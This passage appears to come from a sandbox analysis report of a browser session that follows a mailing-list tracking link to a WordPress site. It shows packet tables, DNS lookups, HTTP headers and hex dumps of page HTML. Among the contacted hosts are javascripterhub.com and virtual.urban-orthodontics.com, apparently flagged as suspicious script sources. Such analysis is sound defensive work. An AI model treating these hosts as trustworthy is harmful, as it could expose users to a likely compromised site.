Apr 15, 2025 16:03:08.874974966 CEST	443	49758	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:08.875152111 CEST	49758	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:08.875164032 CEST	443	49758	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:08.883017063 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:08.884845972 CEST	49759	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:08.884860992 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:08.885024071 CEST	49759	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:08.885029078 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:08.898591995 CEST	49755	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:08.898613930 CEST	443	49755	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:08.902527094 CEST	49756	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:08.902533054 CEST	443	49756	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:08.902851105 CEST	49757	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:08.902875900 CEST	443	49757	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.033061028 CEST	443	49760	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.033680916 CEST	49760	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.033736944 CEST	443	49760	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.033962965 CEST	49760	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.033977032 CEST	443	49760	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.062184095 CEST	443	49761	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.062864065 CEST	49761	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.062880039 CEST	443	49761	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.063081980 CEST	49761	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.063086987 CEST	443	49761	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.076864958 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.077126026 CEST	49762	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.077167034 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.077344894 CEST	49762	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.077354908 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.137075901 CEST	443	49758	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.146878004 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.146965981 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.147023916 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.147027016 CEST	49759	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.147043943 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.147058010 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.147093058 CEST	49759	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.147687912 CEST	49759	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.147701025 CEST	443	49759	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.180425882 CEST	443	49758	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.180464029 CEST	443	49758	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.180500031 CEST	443	49758	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.180531025 CEST	49758	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.180589914 CEST	49758	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.181201935 CEST	49758	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.181237936 CEST	443	49758	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.299158096 CEST	443	49760	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.299202919 CEST	443	49760	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.299274921 CEST	49760	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.300194025 CEST	49760	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.300232887 CEST	443	49760	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.328622103 CEST	443	49761	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.328670979 CEST	443	49761	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.328737020 CEST	49761	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.328737974 CEST	443	49761	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.328783989 CEST	49761	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.329492092 CEST	49761	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.329507113 CEST	443	49761	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.343987942 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.397412062 CEST	49762	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.476059914 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.476080894 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.476115942 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.476131916 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.476145029 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.476191044 CEST	49762	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.476214886 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.476232052 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.476248980 CEST	49762	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.476303101 CEST	49762	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.476587057 CEST	49762	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.476603985 CEST	443	49762	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.814270020 CEST	443	49745	185.76.79.50	192.168.2.16
Apr 15, 2025 16:03:09.816009045 CEST	443	49745	185.76.79.50	192.168.2.16
Apr 15, 2025 16:03:09.816067934 CEST	49745	443	192.168.2.16	185.76.79.50
Apr 15, 2025 16:03:09.816894054 CEST	49745	443	192.168.2.16	185.76.79.50
Apr 15, 2025 16:03:09.816911936 CEST	443	49745	185.76.79.50	192.168.2.16
Apr 15, 2025 16:03:09.824852943 CEST	49765	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.824903011 CEST	443	49765	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.824981928 CEST	49765	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.825336933 CEST	49765	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.825354099 CEST	443	49765	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.826157093 CEST	49766	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.826189995 CEST	443	49766	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:09.826395035 CEST	49766	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.826510906 CEST	49766	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:09.826517105 CEST	443	49766	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.006078959 CEST	49671	443	192.168.2.16	204.79.197.203
Apr 15, 2025 16:03:10.095738888 CEST	443	49765	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.098732948 CEST	49765	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.098766088 CEST	443	49765	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.098975897 CEST	49765	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.098983049 CEST	443	49765	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.100092888 CEST	443	49766	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.101033926 CEST	49766	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.101061106 CEST	443	49766	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.101258993 CEST	49766	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.101267099 CEST	443	49766	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.309514999 CEST	49671	443	192.168.2.16	204.79.197.203
Apr 15, 2025 16:03:10.360918045 CEST	443	49765	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.361088037 CEST	443	49765	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.361254930 CEST	49765	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.361624002 CEST	49765	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.361661911 CEST	443	49765	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.366889000 CEST	443	49766	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.366971970 CEST	443	49766	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.367065907 CEST	49766	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.367682934 CEST	49766	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.367700100 CEST	443	49766	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.371701002 CEST	49767	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.371737957 CEST	443	49767	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.371836901 CEST	49767	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.371973038 CEST	49767	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.371984005 CEST	443	49767	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.641877890 CEST	443	49767	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.642378092 CEST	49767	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.642412901 CEST	443	49767	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.642455101 CEST	49767	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.642461061 CEST	443	49767	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.906361103 CEST	443	49767	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.906451941 CEST	443	49767	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.906697035 CEST	49767	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.907356977 CEST	49767	443	192.168.2.16	35.182.53.34
Apr 15, 2025 16:03:10.907398939 CEST	443	49767	35.182.53.34	192.168.2.16
Apr 15, 2025 16:03:10.915465117 CEST	49671	443	192.168.2.16	204.79.197.203
Apr 15, 2025 16:03:12.127501011 CEST	49671	443	192.168.2.16	204.79.197.203
Apr 15, 2025 16:03:14.529505968 CEST	49671	443	192.168.2.16	204.79.197.203
Apr 15, 2025 16:03:17.748842955 CEST	443	49735	74.125.21.99	192.168.2.16
Apr 15, 2025 16:03:17.748928070 CEST	443	49735	74.125.21.99	192.168.2.16
Apr 15, 2025 16:03:17.749094963 CEST	49735	443	192.168.2.16	74.125.21.99
Apr 15, 2025 16:03:17.835616112 CEST	49735	443	192.168.2.16	74.125.21.99
Apr 15, 2025 16:03:17.835655928 CEST	443	49735	74.125.21.99	192.168.2.16
Apr 15, 2025 16:03:18.439954996 CEST	49679	443	192.168.2.16	52.182.143.211
Apr 15, 2025 16:03:18.740499020 CEST	49679	443	192.168.2.16	52.182.143.211
Apr 15, 2025 16:03:19.330543995 CEST	49671	443	192.168.2.16	204.79.197.203
Apr 15, 2025 16:03:19.346506119 CEST	49679	443	192.168.2.16	52.182.143.211
Apr 15, 2025 16:03:20.560520887 CEST	49679	443	192.168.2.16	52.182.143.211
Apr 15, 2025 16:03:22.970504999 CEST	49679	443	192.168.2.16	52.182.143.211
Apr 15, 2025 16:03:27.776607037 CEST	49679	443	192.168.2.16	52.182.143.211
Apr 15, 2025 16:03:28.941263914 CEST	49671	443	192.168.2.16	204.79.197.203
Apr 15, 2025 16:03:37.379600048 CEST	49679	443	192.168.2.16	52.182.143.211
Apr 15, 2025 16:03:49.356933117 CEST	49694	80	192.168.2.16	23.218.145.76
Apr 15, 2025 16:03:49.372714043 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:49.372730970 CEST	443	49705	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:49.462747097 CEST	80	49694	23.218.145.76	192.168.2.16
Apr 15, 2025 16:03:49.462837934 CEST	49694	80	192.168.2.16	23.218.145.76
Apr 15, 2025 16:04:04.838874102 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:04:04.839018106 CEST	443	49705	204.41.1.85	192.168.2.16
Apr 15, 2025 16:04:04.839097977 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:04:07.458420038 CEST	49778	443	192.168.2.16	74.125.21.99
Apr 15, 2025 16:04:07.458462954 CEST	443	49778	74.125.21.99	192.168.2.16
Apr 15, 2025 16:04:07.458549976 CEST	49778	443	192.168.2.16	74.125.21.99
Apr 15, 2025 16:04:07.458756924 CEST	49778	443	192.168.2.16	74.125.21.99
Apr 15, 2025 16:04:07.458765030 CEST	443	49778	74.125.21.99	192.168.2.16
Apr 15, 2025 16:04:07.675493002 CEST	443	49778	74.125.21.99	192.168.2.16
Apr 15, 2025 16:04:07.675910950 CEST	49778	443	192.168.2.16	74.125.21.99
Apr 15, 2025 16:04:07.675937891 CEST	443	49778	74.125.21.99	192.168.2.16
Apr 15, 2025 16:04:17.696458101 CEST	443	49778	74.125.21.99	192.168.2.16
Apr 15, 2025 16:04:17.696506023 CEST	443	49778	74.125.21.99	192.168.2.16
Apr 15, 2025 16:04:17.696706057 CEST	49778	443	192.168.2.16	74.125.21.99
Apr 15, 2025 16:04:17.834079981 CEST	49778	443	192.168.2.16	74.125.21.99
Apr 15, 2025 16:04:17.834110022 CEST	443	49778	74.125.21.99	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2025 16:03:02.776437998 CEST	53	54426	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:02.814660072 CEST	53	63917	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:03.514929056 CEST	53	56088	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:03.578270912 CEST	64383	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:03.578560114 CEST	61148	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:03.701376915 CEST	53	62253	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:03.769233942 CEST	53	64383	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:03.794785023 CEST	53	61148	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:04.512144089 CEST	60887	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:04.512312889 CEST	54239	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:04.624058962 CEST	53	60887	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:04.675307035 CEST	53	54239	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:05.520421982 CEST	53738	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:05.520644903 CEST	55524	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:05.745695114 CEST	53	52072	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:05.853776932 CEST	53	55524	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:05.893241882 CEST	53	53738	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:07.399276018 CEST	62728	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:07.399276018 CEST	57358	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:07.505858898 CEST	53	57358	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:07.506047010 CEST	53	62728	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:07.527440071 CEST	54893	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:07.527575970 CEST	50704	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:07.637131929 CEST	53	50704	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:07.662077904 CEST	53	54893	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:07.718750954 CEST	51272	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:07.718985081 CEST	58293	53	192.168.2.16	1.1.1.1
Apr 15, 2025 16:03:07.825267076 CEST	53	64003	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:07.848050117 CEST	53	51272	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:07.849215984 CEST	53	58293	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:09.146311998 CEST	53	60679	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:09.443929911 CEST	53	55493	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:20.717847109 CEST	53	61662	1.1.1.1	192.168.2.16
Apr 15, 2025 16:03:39.513158083 CEST	53	53740	1.1.1.1	192.168.2.16
Apr 15, 2025 16:04:02.281800032 CEST	53	51045	1.1.1.1	192.168.2.16
Apr 15, 2025 16:04:02.701097965 CEST	53	52914	1.1.1.1	192.168.2.16
Apr 15, 2025 16:04:05.856663942 CEST	53	65008	1.1.1.1	192.168.2.16
Apr 15, 2025 16:04:16.054640055 CEST	138	138	192.168.2.16	192.168.2.255
Apr 15, 2025 16:04:33.248841047 CEST	53	59985	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 15, 2025 16:03:04.675426006 CEST	192.168.2.16	1.1.1.1	c251	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 15, 2025 16:03:03.578270912 CEST	192.168.2.16	1.1.1.1	0xfe1e	Standard query (0)	trk.mmail.lst.fin.gov.on.ca	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:03.578560114 CEST	192.168.2.16	1.1.1.1	0x89e0	Standard query (0)	trk.mmail.lst.fin.gov.on.ca	65	IN (0x0001)	false
Apr 15, 2025 16:03:04.512144089 CEST	192.168.2.16	1.1.1.1	0xca6	Standard query (0)	eqao-kb-osslt.lswp.vretta.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:04.512312889 CEST	192.168.2.16	1.1.1.1	0xd6a9	Standard query (0)	eqao-kb-osslt.lswp.vretta.com	65	IN (0x0001)	false
Apr 15, 2025 16:03:05.520421982 CEST	192.168.2.16	1.1.1.1	0x162d	Standard query (0)	javascripterhub.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:05.520644903 CEST	192.168.2.16	1.1.1.1	0x45e2	Standard query (0)	javascripterhub.com	65	IN (0x0001)	false
Apr 15, 2025 16:03:07.399276018 CEST	192.168.2.16	1.1.1.1	0xeb86	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.399276018 CEST	192.168.2.16	1.1.1.1	0xf6df	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 15, 2025 16:03:07.527440071 CEST	192.168.2.16	1.1.1.1	0x908f	Standard query (0)	eqao-kb-osslt.lswp.vretta.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.527575970 CEST	192.168.2.16	1.1.1.1	0xe42d	Standard query (0)	eqao-kb-osslt.lswp.vretta.com	65	IN (0x0001)	false
Apr 15, 2025 16:03:07.718750954 CEST	192.168.2.16	1.1.1.1	0x1ec	Standard query (0)	virtual.urban-orthodontics.com	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.718985081 CEST	192.168.2.16	1.1.1.1	0xdd8a	Standard query (0)	virtual.urban-orthodontics.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 15, 2025 16:03:03.769233942 CEST	1.1.1.1	192.168.2.16	0xfe1e	No error (0)	trk.mmail.lst.fin.gov.on.ca	204.41.1.85	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:04.624058962 CEST	1.1.1.1	192.168.2.16	0xca6	No error (0)	eqao-kb-osslt.lswp.vretta.com	35.182.53.34	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:05.893241882 CEST	1.1.1.1	192.168.2.16	0x162d	No error (0)	javascripterhub.com	193.46.217.168	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.505858898 CEST	1.1.1.1	192.168.2.16	0xf6df	No error (0)	www.google.com		65	IN (0x0001)	false
Apr 15, 2025 16:03:07.506047010 CEST	1.1.1.1	192.168.2.16	0xeb86	No error (0)	www.google.com	74.125.21.99	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.506047010 CEST	1.1.1.1	192.168.2.16	0xeb86	No error (0)	www.google.com	74.125.21.147	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.506047010 CEST	1.1.1.1	192.168.2.16	0xeb86	No error (0)	www.google.com	74.125.21.103	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.506047010 CEST	1.1.1.1	192.168.2.16	0xeb86	No error (0)	www.google.com	74.125.21.106	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.506047010 CEST	1.1.1.1	192.168.2.16	0xeb86	No error (0)	www.google.com	74.125.21.105	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.506047010 CEST	1.1.1.1	192.168.2.16	0xeb86	No error (0)	www.google.com	74.125.21.104	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.662077904 CEST	1.1.1.1	192.168.2.16	0x908f	No error (0)	eqao-kb-osslt.lswp.vretta.com	35.182.53.34	A (IP address)	IN (0x0001)	false
Apr 15, 2025 16:03:07.848050117 CEST	1.1.1.1	192.168.2.16	0x1ec	No error (0)	virtual.urban-orthodontics.com	185.76.79.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

trk.mmail.lst.fin.gov.on.ca

eqao-kb-osslt.lswp.vretta.com

javascripterhub.com

virtual.urban-orthodontics.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49704	204.41.1.85	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:04 UTC	722	OUT	GET /trk/click?ref=zr9uf3m5h_4-c79f_0x31f9d3x01938 HTTP/1.1 Host: trk.mmail.lst.fin.gov.on.ca Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:04 UTC	173	IN	HTTP/1.1 302 Found Location: https://eqao-kb-osslt.lswp.vretta.com/ Content-Length: 0 Date: Tue, 15 Apr 2025 14:03:03 GMT Connection: close Server: LISTSERV Maestro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49707	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:04 UTC	679	OUT	GET / HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:05 UTC	393	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:05 GMT Server: Apache X-Powered-By: PHP/7.4.13 Link: <https://eqao-kb-osslt.lswp.vretta.com/wp-json/>; rel="https://api.w.org/" X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.13.35.2-0 Vary: Accept-Encoding Cache-Control: max-age=0, no-cache, s-maxage=10 Content-Length: 87702 Connection: close Content-Type: text/html; charset=UTF-8
2025-04-15 14:03:05 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 2f 3e 0a 09 09 3c 6d Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="x-ua-compatible" content="ie=edge"><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"/><m
2025-04-15 14:03:05 UTC	16384	IN	Data Raw: 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 68 61 73 2d 62 6c 61 63 6b 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 29 21 69 6d 70 6f Data Ascii: ckground-color{background-color:var(--wp--preset--color--vivid-purple)!important}.has-black-border-color{border-color:var(--wp--preset--color--black)!important}.has-cyan-bluish-gray-border-color{border-color:var(--wp--preset--color--cyan-bluish-gray)!impo
2025-04-15 14:03:05 UTC	16384	IN	Data Raw: 6f 2f 4b 46 4f 4d 43 6e 71 45 75 39 32 46 72 31 4d 45 37 6b 53 6e 36 36 61 47 4c 64 54 79 6c 55 41 4d 51 58 43 38 39 59 6d 43 32 44 50 4e 57 75 59 6a 61 6c 6d 62 69 41 7a 30 6b 6c 51 6d 5f 32 30 4f 30 67 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 31 30 32 2d 30 31 30 33 2c 55 2b 30 31 31 30 2d 30 31 31 31 2c 55 2b 30 31 32 38 2d 30 31 32 39 2c 55 2b 30 31 36 38 2d 30 31 36 39 2c 55 2b 30 31 41 30 2d 30 31 41 31 2c 55 2b 30 31 41 46 2d 30 31 42 30 2c 55 2b 30 33 30 30 2d 30 33 30 31 2c 55 2b 30 33 30 33 2d 30 33 30 34 2c 55 2b 30 33 30 38 2d 30 33 30 39 2c 55 2b 30 33 32 33 2c 55 2b 30 33 32 39 2c 55 2b 31 45 41 30 2d 31 45 46 39 2c 55 2b 32 30 41 42 7d 40 66 6f 6e 74 2d 66 61 63 